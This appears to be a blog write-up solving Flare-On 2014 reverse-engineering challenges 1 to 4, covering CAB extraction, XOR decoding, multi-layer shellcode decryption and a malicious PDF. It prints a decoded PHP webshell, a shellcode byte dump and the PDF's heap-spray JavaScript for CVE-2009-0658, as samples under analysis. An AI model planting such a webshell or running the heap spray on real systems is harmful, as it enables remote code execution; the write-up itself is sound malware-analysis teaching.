12684 words
63 minutes
Flare-On 2014 Jan 2026

Challenge 1 - Bob Doge#

Stage 1 Extracting CAB File#

Initial Triage#

  • File Type: PE32+ executable for MS Windows 5.02 (GUI), x86-64, 6 sections
  • Size: 279 KB
  • SHA256: f8aac4d0cccabd11d7b10d63dc2acc451ea832077650971d3c66834861162981

Basic Static Analysis:#

  • Detect it Easy (Die) show that this file is self-extracted CAB/SFX style packing, where the executable includes a compressed Microsoft Cabinet file (CAB) and extracts/executes it at runtime and it is just a wrapper/loader.
  • The .rsrc section is compressed, which is why the tool flags high entropy, classic sign of packing or encryption.
  • Compression algorithm used inside the CAB is LZX (as shown), which is common in Microsoft CAB archives.
  • So we have to first extract the actual exe from this and analyze it,

Pasted image 20260118140836.png

Pasted image 20260118141726.png

  • We can extract it using cabextract tool, and it will written in Challenge1.exe file,
β”Œβ”€β”€(b14ckyγ‰ΏDESKTOP-VRSQRAJ)-[/]
└─$ cabextract C1.exe.defused
Extracting cabinet: C1.exe.defused
  extracting Challenge1.exe

All done, no errors.

Stage 2 Analysis of .NET Sample#

Initial Triage#

  • File Type: PE32 executable for MS Windows 4.00 (GUI), Intel i386 Mono/.Net assembly, 3 sections
  • Size: 118 KB
  • SHA256: c1b55c829a8420fa41e7a31344b6427045cea288458fe1c0f32cae47b2e812f2

Basic Static Analysis:#

  • Detect it Easy (Die) show that this file is .NET binary written in C# using visual studio.
  • Also .text is packed as per die because it show high entropy in it.

Pasted image 20260118142239.png

Pasted image 20260118142850.png

  • We know that this code compiles to Microsoft Intermediate Language (MSIL or IL).
  • IL is a human-readable, high-level assembly-like language, not raw CPU instructions.
  • So we can read it using tools such as dnSpy, Dotpeek etc.
  • here is the example of IL,
.method public hidebysig static void Main() cil managed
{
    .entrypoint
    ldstr "Hello, world!"
    call void [mscorlib]System.Console::WriteLine(string)
    ret
}

Code Analysis#

Pasted image 20260118143113.png

  • I used dnSpy for this analysis,
  • In Resources i found something phishy which is rev_challenge_1.dat_secret.encode so i saved it and it looks like encrypted data,
  • Also some cool memes πŸ˜‚,

Pasted image 20260118143314.png

Pasted image 20260118143648.png

  • Now Let’s dive into actual code, so typically we start with main function in Program section,
  • This code just starts a Windows Forms GUI app and opens Form1 so Form1 is the one we had to go,

Pasted image 20260118143831.png

  • Immediately we see one function btnDecode_Click which do some kind of math or crypto stuff, and it is loading that rev_challenge_1.dat_secret.encode file as input.

Pasted image 20260118144043.png

  • At first glance, honestly, I can’t understand this code, so I take help from our friend GPT to explain it to me, and here is what I understand,
0xa1 0xb5 0x44        (original)
0x1a 0x5b 0x44        (swap hex digits)
(0x1a ^ 0x29) (0x5b ^ 0x29) (0x44 ^ 0x29) β†’ 0x33 0x72 0x6d

Flag Extraction#

  • So i load this input file into CyberChef and apply all the necessary filters and features to get decrypted result and here it is,

Pasted image 20260118145903.png

  • Here is out flag,
 3rmahg3rd.b0b.d0ge@flare-on.com
  • Here is recipe of this,
[
  { "op": "To Hex",
    "args": ["Space", 0] },
  { "op": "Remove whitespace",
    "args": [true, true, true, true, true, false] },
  { "op": "Find / Replace",
    "args": [{ "option": "Regex", "string": "([0-9a-fA-F])([0-9a-fA-F])" }, "$2$1", true, false, true, false] },
  { "op": "Remove whitespace",
    "args": [true, true, true, true, true, false] },
  { "op": "From Hex",
    "args": ["Auto"] },
  { "op": "XOR",
    "args": [{ "option": "Decimal", "string": "41" }, "Standard", false] }
]
  • Here is the similar py script for doing this same task,
#!/usr/bin/env python3
"""
Replicates CyberChef operations:
1. From Hexdump
2. To Hex (space delimited)
3. Remove whitespace
4. Find/Replace (swap hex digit pairs)
5. Remove whitespace
6. From Hex
7. XOR with 41 (decimal)
"""

import re
import sys

def from_hexdump(data):
    """Extract hex bytes from hexdump format"""
    lines = data.strip().split('\n')
    hex_bytes = []
    
    for line in lines:
        # Remove offset and ASCII representation, keep only hex bytes
        parts = line.split()
        for part in parts:
            # Skip offset (contains colon) and non-hex parts
            if ':' in part or not all(c in '0123456789abcdefABCDEF' for c in part):
                continue
            # Add hex bytes (typically 2 chars each)
            for i in range(0, len(part), 2):
                if i + 1 < len(part):
                    hex_bytes.append(part[i:i+2])
    
    return bytes.fromhex(''.join(hex_bytes))

def to_hex_space(data):
    """Convert bytes to space-separated hex"""
    return ' '.join(f'{b:02x}' for b in data)

def remove_whitespace(text):
    """Remove all whitespace"""
    return re.sub(r'\s+', '', text)

def swap_hex_pairs(text):
    """Swap each pair of hex digits: AB -> BA"""
    return re.sub(r'([0-9a-fA-F])([0-9a-fA-F])', r'\2\1', text)

def from_hex(hex_string):
    """Convert hex string to bytes"""
    return bytes.fromhex(hex_string)

def xor_decrypt(data, key):
    """XOR each byte with the key"""
    return bytes(b ^ key for b in data)

def main():
    input_file = 'rev_challenge_1.dat_secret.encode'
    
    try:
        # Read input file in binary mode
        with open(input_file, 'rb') as f:
            data = f.read()
        
        print(f"[+] Reading from {input_file}")
        
        # Step 1: From Hexdump - skip this step, data is already binary
        print("[+] Step 1: Using binary data directly")
        step1 = data
        
        # Step 2: To Hex (space delimited)
        print("[+] Step 2: To Hex (space delimited)")
        step2 = to_hex_space(step1)
        
        # Step 3: Remove whitespace
        print("[+] Step 3: Remove whitespace")
        step3 = remove_whitespace(step2)
        
        # Step 4: Find/Replace - swap hex digit pairs
        print("[+] Step 4: Swap hex digit pairs")
        step4 = swap_hex_pairs(step3)
        
        # Step 5: Remove whitespace (again)
        print("[+] Step 5: Remove whitespace")
        step5 = remove_whitespace(step4)
        
        # Step 6: From Hex
        print("[+] Step 6: From Hex")
        step6 = from_hex(step5)
        
        # Step 7: XOR with 41 (decimal)
        print("[+] Step 7: XOR with 41")
        result = xor_decrypt(step6, 41)
        
        # Output result
        print("\n" + "="*60)
        print("DECODED OUTPUT:")
        print("="*60)
        try:
            print(result.decode('utf-8', errors='replace'))
        except:
            print(result)
        print("="*60)
        
        # Save to file
        output_file = 'decoded_output.txt'
        with open(output_file, 'wb') as f:
            f.write(result)
        print(f"\n[+] Output saved to {output_file}")
        
    except FileNotFoundError:
        print(f"[!] Error: File '{input_file}' not found")
        print(f"[!] Please ensure the file exists in the current directory")
        sys.exit(1)
    except Exception as e:
        print(f"[!] Error: {e}")
        import traceback
        traceback.print_exc()
        sys.exit(1)

if __name__ == '__main__':
    main()

Challenge 2: Javascrap#

Stage 0 Character Table Construction#

Initial Triage#

  • Challenge Type: Reverse-Engineering / Web / Obfuscated Code
  • Files Provided:
    • home.html
      • File Type: home.html: HTML document, Unicode text, UTF-8 text, with very long lines (1428), with CRLF line terminators
      • Size: 8.17 KB
      • SHA256: d1b235e49336c2e510100bd3ffa3113d9c757ffb4829e9564597dbab8338b710
    • img/flare-on.png (PNG image)
      • File Type: img/flare-on.png: PNG image data, 400 x 79, 8-bit/color RGBA, non-interlaced
      • Size: 9.33 KB
      • SHA256: 87528d13f40b51b6de90124fb92bcbc38a54e5241cd7ef969208c0707ed893dd

Basic Static Analysis:#

  • The PNG is being included as PHP code via an include in the HTML page: i.e., the challenge hides a PHP script inside what looks like an image.

Pasted image 20260119201225.png

  • Performing strings on flare-on.png reveals appended PHP source code instead of pure image data.

Pasted image 20260119201531.png

  • The appended PHP contains two large arrays: $terms and $order, and a reconstruction loop that builds a second PHP script dynamically.

Stage 1: Obfuscation Decoding#

1: Character Table Reconstruction#

The embedded PHP begins:

Pasted image 20260119202546.png

$terms = array("M","Z","]","p",...,"|");
$order = array(59,71,73,13,...,47);
$do_me="";
for($i=0;$i<count($order);$i++){
    $do_me=$do_me.$terms[$order[$i]];
}
print($do_me);
  • $terms is a custom character lookup table - each entry is a single character.
  • $order is a list of integers, each an index into $terms.
  • The loop concatenates $terms[$order[i]] to form a complete PHP script string in $do_me.
  • Instead of running eval() immediately, you can replace it with print to dump the generated code for analysis.

Stage 2: Second-Layer Decoding#

After reconstructing the inner PHP, the output looks like:

Pasted image 20260119202723.png

$_  = 'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlc ...';
$__ = 'JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7';
$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";
eval($___($__));
  • $_ and $__ are Base64-encoded strings.
  • $___ is obfuscated with hex escape sequences representing the string base64_decode.
  • eval($___($__)) resolves to:
$code = base64_decode($_);
eval($code);

This decodes the next stage of the script and executes it.

Stage 3: Escaped Payload Interpretation#

Pasted image 20260119202813.png

The inner decoded PHP is:

if (isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F..."])){
    eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104..."]));
}
  • The $_POST key names are obfuscated using a mix of octal (\NNN) and hex (\xNN) escapes.
  • To understand the actual identifier, all escape sequences must be converted into ASCII.

Stage 4: Normalization and Flag Extraction#

Pasted image 20260119202842.png

The decoded sequence:

a11DOTthatDOTjava5crapATflareDASHonDOTcom

comes from interpreting those escape sequences as numbers and converting them to characters.
Replace placeholder tokens:

  • DOT β†’ .

  • AT β†’ @

  • DASH β†’ -

  • Final flag:

a11.that.java5crap@flare-on.com

Final Behavior#

The decoded PHP callback becomes:

if (isset($_POST["a11.that.java5crap@flare-on.com"])) {
    eval(base64_decode($_POST["a11.that.java5crap@flare-on.com"]));
}
  • This is a simple PHP webshell that executes Base64-encoded PHP from an HTTP POST field if sent under the correct key.

Challenge 3:#

Stage 1 Extracting Shellcode from Wrapper EXE#

Initial Triage#

  • File Type: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
  • Size: 7 KB
  • SHA256: 4ab2023b2f34c8c49ffd15a051b46b6be13cb84775142ec85403a08c0d846c72

Basic Static Analysis#

  • Detect it Easy (Die) show that this file is C Compiled File, and Tiny C compiler was used to compile it, also it can be stripped as per file command results.
  • In Entropy section we can see that there is only 2 section which is .text and .data,

Pasted image 20260121104440.png

Pasted image 20260121104830.png

  • PEStudio Shows that most of data is on .text section and raw-size is 6144 bytes,

Pasted image 20260121105229.png

Advance Static Analysis#

  • I have used IDA Free to do disassemble the exe file,
    • In that i opened start function which has some interesting functions and particularly this sub_401000,

Pasted image 20260121105432.png

  • In this sub_401000 function, there are multiple bytes which are being pushed into stack and at the end it being called using this instruction,

Pasted image 20260121110122.png

.text:00401000 ; int __cdecl sub_401000(_DWORD, _DWORD, _DWORD)
.text:00401000 sub_401000      proc near               ; CODE XREF: start+6A↓p
.text:00401000
.text:00401000 var_201         = byte ptr -201h
.text:00401000 var_200         = byte ptr -200h
...
.text:00401000                 push    ebp
.text:00401001                 mov     ebp, esp
.text:00401003                 sub     esp, 204h
.text:00401009                 nop
.text:0040100A                 mov     eax, 0E8h
.text:0040100F                 mov     [ebp+var_201], al
.text:00401015                 mov     eax, 0
.text:0040101A                 mov     [ebp+var_200], al
...
.text:00402492                 mov     [ebp+var_1], al
.text:00402495                 lea     eax, [ebp+var_201]
.text:0040249B                 call    eax
  • It means it means it can shellcode because 0E8h is being pushed, it means call target,
  • but why this importent,
    • Shellcode has a huge problem: It does NOT know its own address
      • it can be placed anywhere in memory
      • no imports
      • no fixed base
      • no PE headers

Advanced Dynamic Analysis#

  • So to extract the shellcode we will use x32dbg because we have 32 bit binary and put a breakpoint in this particular 0040249B offset which is call eax so we will dump EAX into memory and carve it and move further.
  • But first we land in entry point of program,
004024C0 | 55                       | push ebp                                
004024C1 | 89E5                     | mov ebp,esp                             
004024C3 | 81EC 2C000000            | sub esp,2C                              

Pasted image 20260121111145.png

  • So we can go to that location using CTRL + G shortcut,

Pasted image 20260121111257.png

  • We will put breakpoint using using F2 in that instruction,
00402495 | 8D85 FFFDFFFF            | lea eax,dword ptr ss:[ebp-201]          
0040249B | FFD0                     | call eax                                
0040249D | B8 00000000              | mov eax,0                               

Pasted image 20260121111432.png

  • So now we will run till this breakpoint and dump the EAX content inside the dump windows,
  • And again we can see that there is E8 00 00.. format which means it will be shellcode so we can dump this using this command,
savedata "C:\Users\Asus\Desktop\shellcode.bin", EAX, 0x4000

Pasted image 20260121111909.png

Pasted image 20260121112242.png

  • So it will be written in shellcode.bin,

Stage 2 Analyzing Shellcode#

Initial Triage#

  • File Type: data
  • Size: 16 KB
  • SHA256: 7d60f98eaa49863a604f75425ced94f86faf2eb9d83e0c1ce7490c852930f44e

Advance Static Analysis#

  • To get the hex code we can use HxD tool and copy from there and I used cutter for this analysis because it gives graph view, so paste it into that cutter,

Pasted image 20260121113255.png

  • I remove some bytes which are not that important, after 0xC995,
E8 00 00 00 00 8B 34 24 83 C6 1C B9 DF 01 00 00 83 F9 00 74 07 80 36 66 46 49 EB F4 E9 10 00 00 00 07 08 02 46 15 09 46 0F 12 46 04 03 01 0F 08 15 0E 13 15 66 66 0E 15 07 13 14 0E 08 09 16 07 EF 85 8E 66 66 66 66 ED 52 42 E5 A0 4B EF 97 E7 A7 EA 67 66 66 EF BE E5 A6 6C 5F BE 13 63 EF 85 E5 A5 62 5F A8 12 6E EC 75 56 70 25 20 8D 8D 8F 57 66 66 66 6F 6C 62 27 67 62 72 70 6A 35 7C 66 36 60 70 73 33 7A 7C 65 2F 6C 72 27 66 68 33 70 72 78 66 29 7E 66 67 63 33 7D 7D 35 7C 61 73 27 65 66 7A 7A 67 FD 08 09 16 07 9E 33 37 97 D5 0B B1 31 17 07 15 84 EA 14 6D 1B 89 3F 74 48 79 40 90 D2 17 96 E1 0D FD EA FA C8 7F 53 71 5A E9 CE 74 48 79 40 E1 CB EF C2 02 34 45 61 48 20 5F 3C 07 3F 0C 23 1B 3B 0D 28 05 7B 1E 3E 02 2F 09 60 1E 20 10 3E 16 7A ED AD 9C 48 79 40 71 D0 4B 76 E9 80 57 C9 86 C9 BE 85 71 5A 64 C7 AC CB B9 58 48 83 0A 57 E3 A5 F9 83 73 71 B1 27 79 D0 77 7E 62 0B 3F AB 9A B2 62 52 6A 46 66 58 73 00 38 15 39 00 21 5F 25 15 24 1E 32 1E 1F 5B 70 42 7A 1A 7B 18 7E 10 75 15 60 55 3A 55 0D 60 78 17 61 4D 7C 5A 7A 46 26 40 65 0D 31 0B 6F 4B 72 09 71 52 D8 D1 E3 72 0B 2A 17 A4 30 18 DC FA 2F B6 E7 F0 94 06 16 2D 16 F2 CE A2 8A 3D 37 B8 63 21 9B DF 81 ED 40 18 CC 59 03 F5 43 54 06 7C 4B 8D F8 63 E4 F2 5A 76 FA 4A E6 53 62 90 66 13 FF 0C 60 88 4D 38 FF 5E F1 77 7B 7D 40 E1 F0 8E 7B 7C 5B D4 30 39 2A 9E F6 38 49 1F F0 28 99 95 4B F2 61 DB 62 D0 56 48 05 22 12 29 8A D2 45 49 20 75 0D 3F 48 AC F3 29 52 07 A3 34 BB 7F 05 98 10 58 72 C8 E6 67 9D E0 75 88 1B 66 55 73 76 24 1C 7F 19 0D 46 2F 25 35 14 8D 80 B2 2E 4B 01 80 32 1C 95 C9 00

Pasted image 20260121113539.png

  • It is loop that doing some stuff,
    • The CALL instruction is not for calling a function
    • It is used to steal the current address so the code can decrypt and execute itself.
    • So it means call 5 will pushes 0x00000005 onto stack jumps to 0x00000005 now stack has [rsp] = address_of_shellcode then mov esi, [rsp] will push it into esi which means 0x05 + 0x1C = 0x21,
  • seg000:00000021 to seg000:00000030 is encrypted block,

Pasted image 20260121121437.png

0x00000000      call    5          ;  fcn.00000000(void)
0x00000005      mov     esi, dword [rsp]
0x00000008      add     esi, 0x1c
0x0000000b      mov     ecx, 0x1df
0x00000010      cmp     ecx, 0
  • Decryption block with key 0x66
0x00000015  xor byte [rsi], 0x66
0x00000018  jmp 0x10
  • So here is the whole summarized flow,
call β†’ pop β†’ add offset β†’ xor loop (key 0x66) β†’ jump

Pasted image 20260121113604.png

  • Possible Pseudocode,
base = get_rip();
payload = base + 0x1c;

for (i = 0; i < 0x1df; i++) {
    payload[i] ^= 0x66;
}

jump_to(payload);
  • There is one block which is encrypted so i used, cyberchef to decrypt it with key 0x66

Pasted image 20260121120858.png

Pasted image 20260121120739.png

  • Decrypted String 1,
and so it begins
  • But you can see how tedious is this task in static analysis so to do this easiness we can use dynamic method.

Advanced Dynamic Analysis#

  • Again, i can use x32dgb for this task,

Layer 1 XORed Encryption#

  • This loop is doing decryption of encrypted text
0019FD43 | 83F9 00                  | cmp ecx,0                               
0019FD46 | 74 07                    | je 19FD4F
0019FD48 | 8036 66                  | xor byte ptr ds:[esi],66               
0019FD4B | 46                       | inc esi                                 
0019FD4C | 49                       | dec ecx     
0019FD4D | EB F4                    | jmp 19FD43                            

Pasted image 20260121132031.png

0019FD53 00 61 6E 64 20 73 6F 20 69 74 20 62 65 67 69 6E  .and so it begin  
0019FD63 73 68 75 73 00 00 68 73 61 75 72 68 6E 6F 70 61  shus..hsaurhnopa  
  • Decrypted String 1,
so it begins

Layer 2 XORed Encryption#

  • for next layer just step through the instructions by doing step over,
  • This instructions are loading layer 2 decryption key in stack which is
0019FD69 | 68 73617572              | push 72756173                           
0019FD6E | 68 6E6F7061              | push 61706F6E                          
0019FD73 | 89E3                     | mov ebx,esp                             
  • Here is actual key in hex 6E 6F 70 61 72 73 61 75 72 75 73 which is nopasaurus,

Pasted image 20260121133313.png

Pasted image 20260121132418.png

  • Now the actual loop begins and decryption starts using this key nopasaurus,
0019FD8D | 39D8                     | cmp eax,ebx                             
0019FD8F | 75 05                    | jne 19FD96                              
0019FD91 | 89E3                     | mov ebx,esp                             
0019FD93 | 83C3 04                  | add ebx,4                               
0019FD96 | 39CE                     | cmp esi,ecx                             
0019FD98 | 74 08                    | je 19FDA2                               
0019FD9A | 8A13                     | mov dl,byte ptr ds:[ebx]                
0019FD9C | 3016                     | xor byte ptr ds:[esi],dl                
0019FD9E | 43                       | inc ebx                                 
0019FD9F | 46                       | inc esi                                
0019FDA0 | EB EB                    | jmp 19FD8D                             

Pasted image 20260121133701.png

0019FDA6 00 67 65 74 20 72 65 61 64 79 20 74 6F 20 67 65  .get ready to ge  
0019FDB6 74 20 6E 6F 70 27 65 64 20 73 6F 20 64 61 6D 6E  t nop'ed so damn  
0019FDC6 20 68 61 72 64 20 69 6E 20 74 68 65 20 70 61 69   hard in the pai  
0019FDD6 6E 74 E8 00 00 00 00 8B 34 24 83 C6 1E B9 38 01  ntè.....4$.Æ.¹8.  
  • Decrypted String 2,
get ready to get nop'ed so damn hard in the paint

Layer 3 XORed Encryption#

  • This is where 3rd loop starts and decryption starts with hardcoded hex 0x624F6C47,

Pasted image 20260121135337.png

0019FDE3 | B9 38010000              | mov ecx,138                             
0019FDE8 | 83F9 00                  | cmp ecx,0                               
0019FDEB | 7E 0E                    | jle 19FDFB                              
0019FDED | 8136 624F6C47            | xor dword ptr ds:[esi],476C4F62         
0019FDF3 | 83C6 04                  | add esi,4                               
0019FDF6 | 83E9 04                  | sub ecx,4                               
0019FDF9 | EB ED                    | jmp 19FDE8                              
  • This wrote some gibberish in memory,
0019FDF6 83 E9 04 EB ED 8D 80 00 00 00 00 8D 80 00 00 00  .é.ëí...........  
0019FE06 00 90 90 90 90 68 72 3F 21 3F 68 20 6F 76 65 68  .....hr?!?h oveh  
0019FE16 6D 6F 73 74 68 74 20 61 6C 68 69 73 20 69 68 6F  mostht alhis iho  
0019FE26 6D 67 20 89 E3 E8 00 00 00 00 8B 34 24 83 C6 2D  mg .ãè.....4$.Γ†-  
  • After spending some time i realize that it is actually strings which is being loaded next,

Pasted image 20260121135106.png

0019FE0B | 68 723F213F              | push 3F213F72                           
0019FE10 | 68 206F7665              | push 65766F20                           
0019FE15 | 68 6D6F7374              | push 74736F6D                           
0019FE1A | 68 7420616C              | push 6C612074                           
0019FE1F | 68 69732069              | push 69207369                           
0019FE24 | 68 6F6D6720              | push 20676D6F                           
0019FE29 | 89E3                     | mov ebx,esp                             

Pasted image 20260121135559.png

  • I take all hex convert it in Big endian format and arrange it in FILO (First in Last out) order because it is loaded in stack so here is the strings,
  • Interestingly this same text used as key for next layer.
omg i sit almost over?!?

Pasted image 20260121135835.png

Layer 4 XORed Encryption#

  • Here is loop which start with previous string as key for decryption routine,
0019FE43 | 39D8                     | cmp eax,ebx                             
0019FE45 | 75 05                    | jne 19FE4C                              
0019FE47 | 89E3                     | mov ebx,esp                             
0019FE49 | 83C3 04                  | add ebx,4                               
0019FE4C | 39CE                     | cmp esi,ecx                             
0019FE4E | 74 08                    | je 19FE58                               
0019FE50 | 8A13                     | mov dl,byte ptr ds:[ebx]                
0019FE52 | 3016                     | xor byte ptr ds:[esi],dl                
0019FE54 | 43                       | inc ebx                                 
0019FE55 | 46                       | inc esi                                 
0019FE56 | EB EB                    | jmp 19FE43                              

Pasted image 20260121140344.png

0019FE56 EB EB E9 1D 00 00 00 73 75 63 68 2E 35 68 33 31  ëëé....such.5h31  
0019FE66 31 30 31 30 31 30 31 40 66 6C 61 72 65 2D 6F 6E  1010101@flare-on  
0019FE76 2E 63 6F 6D 68 6E 74 00 00 68 20 73 70 65 68 20  .comhnt..h speh   

Pasted image 20260121140451.png

  • Here is Final Flag… πŸ˜—
such.5h311010101@flare-on.com

Challenge 4:#

Stage 1 Malicious PDF Analysis#

Initial Triage#

  • File Type: APT9001.pdf: PDF document, version 1.5
  • Size: 21 KB
  • SHA256: 15f3d918c4781749e3c9f470740485fa01d58fd0b003e2f0be171d80ce3b1c2c

Basic Static Analysis#

  • Detect it Easy show nothing,
  • I do quick search its hash on VT this is the result,

Pasted image 20260125231735.png

  • 27 out of 65 is pretty high so maybe there is some data which is embedded in PDF.

Pasted image 20260125231924.png

  • So to check that i used pdfinfo tool to see metadata of pdf and here is what is got,
    • It has some js stuff so we can extract it using tool called, peepdf.

Pasted image 20260125232218.png

Advance Static Analysis#

β”Œβ”€β”€(b14ckyγ‰ΏDESKTOP-VRSQRAJ)-[~]
└─$ python2 /opt/peepdf/peepdf.py -fil APT9001.pdf

Warning: PyV8 is not installed!!
Warning: pylibemu is not installed!!
Warning: Python Imaging Library (PIL) is not installed!!

File: APT9001.pdf
MD5: f2bf6b87b5ab15a1889bddbe0be0903f
SHA1: 58c93841ee644a5d2f5062bb755c6b9477ec6c0b
SHA256: 15f3d918c4781749e3c9f470740485fa01d58fd0b003e2f0be171d80ce3b1c2c
Size: 21284 bytes
Version: 1.5
Binary: True
Linearized: False
Encrypted: False
Updates: 0
Objects: 8
Streams: 2
URIs: 0
Comments: 0
Errors: 1

Version 0:
        Catalog: 1
        Info: No
        Objects (8): [1, 2, 3, 4, 5, 6, 7, 8]
                Errors (1): [8]
        Streams (2): [6, 8]
                Encoded (2): [6, 8]
                Decoding errors (1): [8]
        Objects with JS code (1): [6]
        Suspicious elements:
                /OpenAction (1): [1]
                /JS (1): [5]
                /JavaScript (1): [5]
                Adobe JBIG2Decode Heap Corruption (CVE-2009-0658): [8]
  • I tried to extract the JS code usingΒ extract js > extracted.jsΒ which appeared to be successful.
  • Also this is mind, β€œAdobe JBIG2Decode Heap Corruption (CVE-2009-0658)”
PPDF> extract js

// peepdf comment: Javascript code located in object 6 (version 0)

var HdPN = "";
var zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf = "";
var IxTUQnOvHg = unescape("%u72f9%u4649%u1.....u5740%ud0ff");
var MPBPtdcBjTlpvyTYkSwgkrWhXL = "";

for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 128; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA >= 0; --EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) MPBPtdcBjTlpvyTYkSwgkrWhXL += unescape("%ub32f%u3791");
ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv = MPBPtdcBjTlpvyTYkSwgkrWhXL + IxTUQnOvHg;
OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY = unescape("%ub32f%u3791");
fJWhwERSDZtaZXlhcREfhZjCCVqFAPS = 20;
fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA = fJWhwERSDZtaZXlhcREfhZjCCVqFAPS + ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv.length
while (OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.length < fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA) OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY += OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY;
UohsTktonqUXUXspNrfyqyqDQlcDfbmbywFjyLJiesb = OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.substring(0, fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA);
MOysyGgYplwyZzNdETHwkru = OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.substring(0, OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.length - fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA);
while (MOysyGgYplwyZzNdETHwkru.length + fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA < 0x40000) MOysyGgYplwyZzNdETHwkru = MOysyGgYplwyZzNdETHwkru + MOysyGgYplwyZzNdETHwkru + UohsTktonqUXUXspNrfyqyqDQlcDfbmbywFjyLJiesb;
DPwxazRhwbQGu = new Array();
for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 0; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA < 100; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA++) DPwxazRhwbQGu[EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA] = MOysyGgYplwyZzNdETHwkru + ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv;

for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 142; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA >= 0; --EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf += unescape("%ub550%u0166");
bGtvKT = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length + 20
while (zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length < bGtvKT) zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf += zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf;
Juphd = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.substring(0, bGtvKT);
QCZabMzxQiD = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.substring(0, zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length - bGtvKT);
while (QCZabMzxQiD.length + bGtvKT < 0x40000) QCZabMzxQiD = QCZabMzxQiD + QCZabMzxQiD + Juphd;
FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE = new Array();
for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 0; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA < 125; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA++) FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE[EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA] = QCZabMzxQiD + zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf;
  • But this looks obfuscated and very messy so I cleaned it,
// peepdf comment: Javascript code located in object 6 (version 0)

var string_variable_2 = "";
var string_variable_4 = unescape("%u72f9%u4649%u152....5740%ud0ff");
var string_variable_1 = "";

for (counter_variable = 128; counter_variable >= 0; --counter_variable) string_variable_1 += unescape("%ub32f%u3791");
string_variable_3 = string_variable_1 + string_variable_4;
string_variable_5 = unescape("%ub32f%u3791");


while (string_variable_5.length < 790) string_variable_5 += string_variable_5;

substring1_of_str5 = string_variable_5.substring(0, 790);
substring2_of_str5 = string_variable_5.substring(0, string_variable_5.length - 790);

while (substring2_of_str5.length + 790 < 262144) substring2_of_str5 = substring2_of_str5 + substring2_of_str5 + substring1_of_str5;
another_array_variable = new Array();

for (counter_variable = 0; counter_variable < 100; counter_variable++) 
	another_array_variable[counter_variable] = substring2_of_str5 + string_variable_3;

for (counter_variable = 142; counter_variable >= 0; --counter_variable) 
	string_variable_2 += unescape("%ub550%u0166");

len_str2_plus20 = string_variable_2.length + 20

while (string_variable_2.length < len_str2_plus20) string_variable_2 += string_variable_2;

substring1_of_str2 = string_variable_2.substring(0, len_str2_plus20);
substring2_of_str2 = string_variable_2.substring(0, string_variable_2.length - len_str2_plus20);

while (substring2_of_str2.length + len_str2_plus20 < 262144) substring2_of_str2 = substring2_of_str2 + substring2_of_str2 + substring1_of_str2;
array_variable = new Array();

for (counter_variable = 0; counter_variable < 125; counter_variable++) array_variable[counter_variable] = substring2_of_str2 + string_variable_2;
  • But you might be confused that how this code will executed because it is in PDF right?
  • So here comes the interesting thing,
    • CVE-2009-0658 is a heap corruption vulnerability in Adobe Reader’s JBIG2Decode filter.
    • A malformed JBIG2 image causes memory overwrite in native code.
    • JavaScript heap spray is used beforehand to populate predictable heap memory with shellcode.
    • When the corrupted pointer is dereferenced, execution jumps into the sprayed heap region, leading to arbitrary code execution.
    • One of the first PDF + JS + native bug chains
  • So in short, if any user open this code in vulnerable Adobe Reader then this code will execute.

Code Explanation#

  • It hides malicious code
    • The long %uXXXX%uXXXX data is hidden machine code / shellcode.
